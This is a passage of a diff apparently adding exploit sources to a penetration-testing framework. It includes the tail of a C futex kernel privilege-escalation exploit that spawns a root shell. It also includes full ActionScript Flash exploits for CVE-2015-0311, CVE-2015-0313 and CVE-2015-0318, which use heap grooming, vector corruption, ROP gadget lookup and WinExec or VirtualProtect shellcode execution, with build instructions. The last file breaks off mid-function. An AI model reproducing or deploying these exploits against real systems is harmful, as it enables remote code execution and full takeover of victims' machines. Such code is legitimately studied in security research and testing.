0x00)) = mem + 0x20; + *((unsigned long *)(mem + 0x08)) = mem + 0x28; + *((unsigned long *)(mem + 0x1c)) = 0x85; + *((unsigned long *)(mem + 0x24)) = mem; + *((unsigned long *)(mem + 0x2c)) = mem + 8; +} + +void *search_goodnum(void *arg) { + int ret; + char filename[256]; + FILE *fp; + char filebuf[0x1000]; + char *pdest; + int vcscnt, vcscnt2; + unsigned long magicval; + pid_t pid; + unsigned long goodval, goodval2; + unsigned long addr, setaddr; + int i; + char buf[0x1000]; + + syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + + while (1) { + ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); + if (ret == 1) { + break; + } + usleep(10); + } + + wake_actionthread(6); + wake_actionthread(7); + + uaddr2 = 0; + do_socket_tid_read = 0; + did_socket_tid_read = 0; + + syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2); + + while (1) { + if (do_socket_tid_read != 0) { + break; + } + } + + sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); + + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + did_socket_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 == vcscnt + 1) { + break; + } + usleep(10); + } + + printf("starting the dangerous things\n"); + + setup_exploit(MAGIC_ALT); + setup_exploit(MAGIC); + + magicval = *((unsigned long *)MAGIC); + + wake_actionthread(11); + + if (*((unsigned long *)MAGIC) == magicval) { + printf("using MAGIC_ALT.\n"); + MAGIC = MAGIC_ALT; + } + + while (1) { + is_kernel_writing = (pthread_mutex_t *)malloc(4); + pthread_mutex_init(is_kernel_writing, NULL); + + setup_exploit(MAGIC); + + pid = wake_actionthread(11); + + goodval = *((unsigned long *)MAGIC) & 0xffffe000; + + printf("%p is a good number\n", (void *)goodval); + + do_splice_tid_read = 0; + did_splice_tid_read = 0; + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + while (1) { + if (do_splice_tid_read != 0) { + break; + } + usleep(10); + } + + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + did_splice_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 != vcscnt + 1) { + break; + } + usleep(10); + } + + goodval2 = 0; + + setup_exploit(MAGIC); + + *((unsigned long *)(MAGIC + 0x24)) = goodval + 8; + + wake_actionthread(12); + goodval2 = *((unsigned long *)(MAGIC + 0x24)); + + printf("%p is also a good number.\n", (void *)goodval2); + + for (i = 0; i < 9; i++) { + setup_exploit(MAGIC); + + pid = wake_actionthread(10); + + if (*((unsigned long *)MAGIC) < goodval2) { + HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000); + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + printf("GOING\n"); + + write(HACKS_fdm, buf, sizeof buf); + + while (1) { + sleep(10); + } + } + + } + } + + return NULL; +} + +void *accept_socket(void *arg) { + int sockfd; + int yes; + struct sockaddr_in addr = {0}; + int ret; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + + yes = 1; + setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); + + addr.sin_family = AF_INET; + addr.sin_port = htons(LOCAL_PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); + + listen(sockfd, 1); + + while(1) { + ret = accept(sockfd, NULL, NULL); + if (ret < 0) { + printf("**** SOCK_PROC failed ****\n"); + while(1) { + sleep(10); + } + } else { + printf("i have a client like hookers.\n"); + } + } + + return NULL; +} + +void init_exploit() { + unsigned long addr; + pthread_t th1, th2, th3; + + printf("running with pid %d\n", getpid()); + + pthread_create(&th1, NULL, accept_socket, NULL); + + addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + MAGIC = addr; + if ((long)addr >= 0) { + printf("first mmap failed?\n"); + while (1) { + sleep(10); + } + } + + addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + MAGIC_ALT = addr; + if (addr > 0x110000) { + printf("second mmap failed?\n"); + while (1) { + sleep(10); + } + } + + pthread_mutex_lock(&done_lock); + pthread_create(&th2, NULL, search_goodnum, NULL); + pthread_create(&th3, NULL, send_magicmsg, NULL); + pthread_cond_wait(&done, &done_lock); +} + +int main(int argc, char **argv) { + g_argc = argc; + + if (argc >= 2) { + strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1); + int i; + for (i=1;i/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf +package +{ + import flash.display.Sprite; + import flash.display.LoaderInfo; + import flash.system.ApplicationDomain; + import flash.utils.ByteArray; + import avm2.intrinsics.memory.casi32; + import flash.external.ExternalInterface; + import mx.utils.Base64Decoder; + + public class Main extends Sprite + { + private var data:uint = 0xdeaddead + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var spray:Vector. = new Vector.(51200) + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:String = ""; + + /*public static function log(msg:String):void{ + var str:String = ""; + str += msg; + + trace(str); + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + }*/ + + public function Main() + { + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + payload = b64.toByteArray().toString(); + + for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++) + ba.compress() + ApplicationDomain.currentDomain.domainMemory = ba + ba.position = 0x200 + for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00) + try { + ba.uncompress() + } catch (e:Error) { } + uv[0] = new Vector.(0x3E0) + casi32(0, 0x3e0, 0xffffffff) + + for (i = 0; i < spray.length; i++) { + spray[i] = new Vector.(1014) + spray[i][0] = ba + spray[i][1] = this + } + + /* + 0:008> dd 5ca4000 + 05ca4000 ffffffff 05042000 05ca4000 00000000 + 05ca4010 00000000 00000000 00000000 00000000 + 05ca4020 00000000 00000000 00000000 00000000 + 05ca4030 00000000 00000000 00000000 00000000 + 05ca4040 00000000 00000000 00000000 00000000 + 05ca4050 00000000 00000000 00000000 00000000 + 05ca4060 00000000 00000000 00000000 00000000 + 05ca4070 00000000 00000000 00000000 00000000 + */ + uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4 + //log("uv[0][0]: " + uv[0][0].toString(16)); + + ba.endian = "littleEndian" + ba.length = 0x500000 + var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000 + //log("buffer: " + buffer.toString(16)); + + var main:uint = uv[0][0x2000009] - 1 + //log("main: " + main.toString(16)); + + var vtable:uint = vector_read(main) + //log("vtable: " + vtable.toString(16)); + + vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff) + byte_write(uv[0][0]) + + var flash:uint = base(vtable) + //log("flash: " + flash.toString(16)); + + // Because of the sandbox, when you try to solve kernel32 + // from the flash imports on IE, it will solve ieshims.dll + var ieshims:uint = module("kernel32.dll", flash) + //log("ieshims: " + ieshims.toString(16)); + + var kernel32:uint = module("kernel32.dll", ieshims) + //log("kernel32: " + kernel32.toString(16)); + + var ntdll:uint = module("ntdll.dll", kernel32) + //log("ntdll: " + ntdll.toString(16)); + + var urlmon:uint = module("urlmon.dll", flash) + //log("urlmon: " + urlmon.toString(16)); + + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + //log("virtualprotect: " + virtualprotect.toString(16)); + + var winexec:uint = procedure("WinExec", kernel32) + //log("winexec: " + winexec.toString(16)); + + var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon); + //log("urldownloadtofile: " + urldownloadtofile.toString(16)); + + var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32) + //log("getenvironmentvariable: " + getenvironmentvariable.toString(16)); + + var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32) + //log("setcurrentdirectory: " + setcurrentdirectory.toString(16)); + + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + //log("xchgeaxespret: " + xchgeaxespret.toString(16)); + + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + //log("xchgeaxesiret: " + xchgeaxesiret.toString(16)); + + // CoE + byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + + byte_write(buffer+0x200, payload); + byte_write(buffer + 0x20070, xchgeaxespret) + byte_write(buffer + 0x20000, xchgeaxesiret) + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x30000) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x100) + + // WinExec + byte_write(0, buffer + 0x30000) + byte_write(0, buffer + 0x200) + byte_write(0) + + byte_write(main, buffer + 0x20000) + toString() + } + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) + var i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); + if (dll_name == name.toUpperCase()) { + break; + } + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} + diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as new file mode 100755 index 0000000000..58ed3d2bb5 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Main.as @@ -0,0 +1,207 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Be support to support 16.0 as target-player (flex-config.xml). +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf +package +{ +import flash.display.Sprite +import flash.display.LoaderInfo +import flash.events.Event +import flash.utils.ByteArray +import flash.system.Worker +import flash.system.WorkerDomain +import flash.system.MessageChannel +import flash.system.ApplicationDomain +import avm2.intrinsics.memory.casi32 +import mx.utils.Base64Decoder + +public class Main extends Sprite +{ + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var worker:Worker + private var mc:MessageChannel + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String = "" + + public function Main() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + payload = b64.toByteArray().toString() + + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = ba + ov[i][1] = this + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + ba.clear() + ov[0] = new Vector.(1022) + mc.send("") + while (mc.messageAvailable); + ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 + ba.length = 0x500000 + var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000 + var main:uint = ov[0][0x409] - 1 + var vtable:uint = vector_read(main) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) + mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString()) + } + + private function onMessage(e:Event):void + { + casi32(0, 1022, 0xFFFFFFFF) + if (ba.length != 0xffffffff) mc.receive() + else { + ba.endian = "littleEndian" + var data:Array = (mc.receive() as String).split("/") + byte_write(parseInt(data[0])) + var buffer:uint = parseInt(data[1]) as uint + var main:uint = parseInt(data[2]) as uint + var vtable:uint = parseInt(data[3]) as uint + var flash:uint = base(vtable) + var ieshims:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", ieshims) + + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + //CoE + byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + byte_write(buffer+0x200, payload); + byte_write(buffer + 0x20070, xchgeaxespret) + byte_write(buffer + 0x20000, xchgeaxesiret) + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x30000) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x100) + + // WinExec + byte_write(0, buffer + 0x30000) + byte_write(0, buffer + 0x200) + byte_write(0) + + byte_write(main, buffer + 0x20000) + toString() + } + } + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } +} +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0318/Main.as b/external/source/exploits/CVE-2015-0318/Main.as new file mode 100644 index 0000000000..0d05a480a2 --- /dev/null +++ b/external/source/exploits/CVE-2015-0318/Main.as @@ -0,0 +1,704 @@ +package +{ + /* + To compile (AIRSDK + Flex): + mxmlc Main.as -o Main.swf -strict=false + */ + + import mx.utils.Base64Decoder; + import flash.display.*; + import flash.utils.ByteArray; + import flash.external.ExternalInterface; + import mx.utils.Base64Decoder; + + public class Main extends Sprite + { + private var i:int; + private var j:int; + + private const OP_END:int = 0; + private const OP_ANY:int = 12; + private const OP_KET:int = 84; + private const OP_CBRA:int = 94; + private const OP_FAIL:int = 108; + private const OP_ACCEPT:int = 109; + + private var testSubject:String = 'c01db33f'; + private var subject:String = ''; + + private var count_576:int = 128; + private var pre_576:int = 4; + private var groom_576:Array = new Array(count_576); + + private var count_re:int = 8; + private var source_re:Vector. = new Vector.(count_re); + private var compiled_re:Vector. = new Vector.(count_re); + private var subjects:Vector. = new Vector.(count_re); + + private var count_504:int = 256 * 3; + private var pre_504:int = 30; + private var groom_504:Array = new Array(count_504); + + private var junk:Array = new Array(); + private var junk_idx:int = 0; + + public static function Debug(message:String):void { + ExternalInterface.call('console.log', message); + } + + public function MakeRegex(c:String):String { + var i:int; + var r:String = '(c01db33f|^(' + c + '*)' + for (i = 0; i < 39; ++i) { + r += '(A)'; + } + r += '\\' + r += '41'; + for (i = 0; i < 20; ++i) { + r += 'A'; + } + r += '(' + r += '\\' + r += 'c' + r += '\uc080' + r += '*)?(?70))'; + return r; + } + + public function MakeSubject(c:String):String { + var i:int; + var s:String = c; + for (i = 0; i < 0x80 - 0x3d; ++i) { + s += c; + } + for (i = 0; i < 60; ++i) { + s += 'A'; + } + return s; + } + + public function MakeByteArray(size:int):ByteArray { + var i:int = 0; + var b:ByteArray = new ByteArray(); + b.length = size; + for (i = 0; i < size; ++i) { + b.writeByte(0x23); + } + return b; + } + + public function Initialise():void { + for (i = 0; i < 8; ++i) { + subjects[i] = MakeSubject(i.toString()); + source_re[i] = MakeRegex(i.toString()); + } + } + + public function CompileRegex():RegExp { + + // heap groom the block of regex bytecode we want to follow our + // legitimate bytecode. + + for (i = 0; i < count_576; ++i) { + var b:ByteArray = new ByteArray(); + b.length = 576; + + // regex nop sled :-p + for (j = 0; j < 500; ++j) { + b.writeByte(OP_ANY); + } + + // this is the capturing bracket that find_bracket will be + // looking for to match (?70) + b.writeByte(OP_CBRA); + b.writeByte(1); // WORD length of group (only != 0) + b.writeByte(0); + b.writeByte(0); // WORD number of group (must == 70) + b.writeByte(70); + + // we use OP_CBRA to write the current match length at one + // dword past the end of our offset_vector. + // + // this is due to another bug in pcre_exec where it is + // assumed that the group number is + // 0 < number < md->offset_max + // and it is only checked that group < md->offset_max, and + // then indexing is done backwards frm the end of the buffer, + // so a group number of 0 lets us index one dword past the end + // of the offset_vector. + + b.writeByte(OP_CBRA); + b.writeByte(0); // WORD length of group + b.writeByte(0); + b.writeByte(0); // WORD number of group + b.writeByte(0); + + // we're done with executing this regex for now. + b.writeByte(OP_ACCEPT); // yay a match :-) + + b.writeByte(OP_KET); // closing KET for group (?70) + b.writeByte(OP_KET); // closing KET for exploit group + + b.writeByte(OP_END); + + b.writeByte(0); + + groom_576[i] = b; + } + + // make some gaps + for (i = 0; i < count_576; i += 2) { + groom_576[i].length = 0; + groom_576[i] = null; + } + + for (i = 0; i < (pre_576 * 2); i += 2) { + groom_576[i] = MakeByteArray(576); + } + + for (i = 0; i < count_re; ++i) { + try { + Debug('[*] compiling regex'); + var re:RegExp = new RegExp(source_re[i]); + compiled_re[i] = re; + var match:Object = re.exec(testSubject); + if (match != null && match[0] == 'c01db33f') { + Debug('[*] compiled successfully'); + subject = subjects[i]; + return re; + } + else { + // that allocation was no good, fill with a bytearray + junk[junk_idx++] = MakeByteArray(576); + } + } catch (error:Error) { + Debug('[*] error compiling regex: ' + error.message); + } + + Debug('[*] failed...'); + } + + Debug('[*] failed first groom'); + return null; + } + + public function negative(i:uint):uint { + return (~i) + 1; + } + + public function CorruptVector(r:RegExp):Vector. { + + var v:Vector. = null; + var uv:Vector. = null; + var ov:Vector. = null; + + for (i = 0; i < count_504; ++i) { + v = new Vector.(124); + v[0] = 0xc01db33f + v[1] = i; + for (j = 2; j < 124; ++j) { + v[j] = 0x88888888; + } + groom_504[i] = v; + } + + for (i = 0; i < count_504; i += 3) { + groom_504[i].length = 0; + groom_504[i] = null; + } + + for (i = 0; i < pre_504; i += 1) { + junk[junk_idx++] = MakeByteArray(504); + } + + v = null; + for (i = 0; i < 128; i += 3) { + try { + Debug('[*] executing regex'); + r.exec(subject); + } catch (error:Error) { + Debug('[*] regex execution failed: ' + error.message); + } + + for (j = 1; j < count_504; j += 3) { + if (groom_504[j].length != 124) { + Debug('[*] corrupted vector'); + v = groom_504[j]; + break; + } + } + + if (v != null) { + break; + } + + Debug('[*] failed...'); + junk[junk_idx++] = MakeByteArray(504); + junk[junk_idx++] = MakeByteArray(504); + } + + // at this point we have a vector with a corrupt length, hopefully + // followed by another vector of legitimate length. + + if (v == null) { + Debug('[*] failed to groom for vector corruption'); + return null; + } + + if (v[126] != 0xc01db33f) { + Debug('[*] magic check failed!'); + } + + // read out the index of the following vector; this is the vector + // that we will use for the rest of the exploit + + i = v[127]; + uv = groom_504[i]; + uv.fixed = true; + + // corrupt the length of uv so that we can access all of memory :) + + v[124] = 0xffffffff; + + // first fix the length of the original corrupted array so we don't + // need to worry about it any more... + + uv[negative(0x80)] = 0x6e; + + // now read back 0x1f8 bytes before the first vector; this must be + // inside the original offset_vector that we overflowed, (so it is + // guaranteed to be safe) and this buffer is directly free'd at the + // end of pcre_exec. as it's quite a large allocation, we can be + // quite sure that it is still on the freelist and we can steal the + // freelist pointer from it, which will likely point to the block + // after our second vector. + + uv[0] = uv[negative(0xfe)]; + + // we really can't do much sanity checking here; all we know is + // that this should be a pointer, and it will be 8 byte aligned. + + if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) { + Debug('[*] freelist ptr sanity check failed!'); + uv[negative(2)] = 0x6e; + return null; + } + + // uv[0] == address of our vector.'s buffer + + uv[0] -= 0x1f0; + + return uv; + } + + public function FindGCHeap(m:Memory):uint { + + // nothing much to say about this; we know that there's a + // FixedBlock at the start of the page that our vector is allocated + // on, and that holds a pointer back to the global GCHeap, which is + // a static singleton in the flash module. I've copied in the class + // declarations for the structures being traversed, for reference. + + var fixed_block:uint = m.vector_base & 0xfffff000; + + /* + struct FixedBlock + { + void* firstFree; // First object on the block's free list + void* nextItem; // First object free at the end of the block + FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator) + FixedBlock* prev; // Previous block on the list of blocks + uint16_t numAlloc; // Number of items allocated from the block + uint16_t size; // Size of objects in the block + FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator) + FixedBlock *prevFree; // Previous block on the list of blocks with free items +-------> FixedAlloc *alloc; // The allocator that owns this block + char items[1];l // Memory for objects starts here + }; + */ + + var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c); + + /* + class FixedAlloc + { + private: +-------> GCHeap *m_heap; // The heap from which we obtain memory + uint32_t m_itemsPerBlock; // Number of items that fit in a block + uint32_t m_itemSize; // Size of each individual item + + FixedBlock* m_firstBlock; // First block on list of free blocks + FixedBlock* m_lastBlock; // Last block on list of free blocks + FixedBlock* m_firstFree; // The lowest priority block that has free items + + size_t m_numBlocks; // Number of blocks owned by this allocator + #ifdef MMGC_MEMORY_PROFILER + size_t m_totalAskSize; // Current total amount of memory requested from this allocator + #endif + bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe + } + */ + + var gcheap:uint = m.read_dword(fixed_alloc); + + return gcheap; + } + + public function FindPwned(m:Memory, gcheap:uint):uint { + + // we're going to walk the heap to find it because we don't like + // being crashy. a lazier approach would be to spray a ton of + // objects and scan forward from our array; this is more reliable. + + /* + class GCHeap + { + public: +-------> Region *lastRegion; + + private: + ... + }; + */ + + // I have no idea why this is at offset 4. GCheap is not virtual + // so perhaps the Flash code has changed since the github avmplus + // release. + + var region:uint = m.read_dword(gcheap + 4); + + /* + class Region + { + public: + Region *prev; + char *baseAddr; + char *reserveTop; + char *commitTop; + size_t blockId; + }; + */ + + while (region != 0) { + var region_base:uint = m.read_dword(region + 4); + var region_rtop:uint = m.read_dword(region + 8); + var region_top:uint = m.read_dword(region + 12); + + if (region_rtop & 1 != 0) { + Debug('[*] this browser already got pwned, go away'); + return 0; + } + + m.write_dword(region + 8, region_rtop + 1); + + // TODO: we can optimise here as we know the alignment of the + // magic values. + + Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']'); + + for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) { + if (m.read_dword(ptr) == 0xdecafbad + && m.read_dword(ptr + 4) == 0xdecafbad) { + + // we have found our two magic values + return ptr - 0x10; + } + } + + // region = region->prev; + region = m.read_dword(region); + } + + return 0; + } + + + + public function WriteShellcode(v:Vector., i:uint, ptr:uint, fun:uint):void { + var myshellcode:Array = GetPayload(); + // at this point we are sandwiched on the stack between the current + // frame and the previous frame; this is hazardous, we need to + // shift our stack back above the current frame or things will go + // wrong(tm). + v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000 + v[i++] = 0x90900000; + + v[i++] = 0x90909090; + v[i++] = 0x90909090; + v[i++] = 0x90909090; + //v[i++] = 0xcccccccc; // Sort of handy for debugging purposes + + // Our payload (see GetPayload) + for (var payload_i:int; payload_i < myshellcode.length; payload_i++) { + v[i++] = myshellcode[payload_i]; + } + + v[i++] = 0x90909090; + v[i++] = 0x90909090; + v[i++] = 